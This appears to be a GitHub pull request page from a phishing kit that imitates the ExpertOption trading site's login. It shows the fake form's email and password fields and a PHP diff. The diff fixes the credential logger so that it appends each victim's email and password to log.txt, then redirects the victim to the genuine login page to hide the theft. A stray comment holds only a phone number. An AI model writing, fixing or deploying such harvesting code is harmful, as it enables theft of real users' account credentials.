Skip to content

Conversation

@sighook
Copy link

@sighook sighook commented Oct 1, 2020

Since the form sends email/password fields:

<form action="post.php" method="POST" class="">
[skipped]
<input type="text" placeholder="E-mail" autocomplete="email" name="email" value="" class="controls valid" tabindex="2">
[skipped]
<input type="password" placeholder="Password" autocomplete="current-password" name="password" value="" class="controls valid" tabindex="3">


file_put_contents("log.txt", "Username: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
file_put_contents("log.txt", "Username: " . $_POST['email'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://expertoption.com/login');

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

00966583734859

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants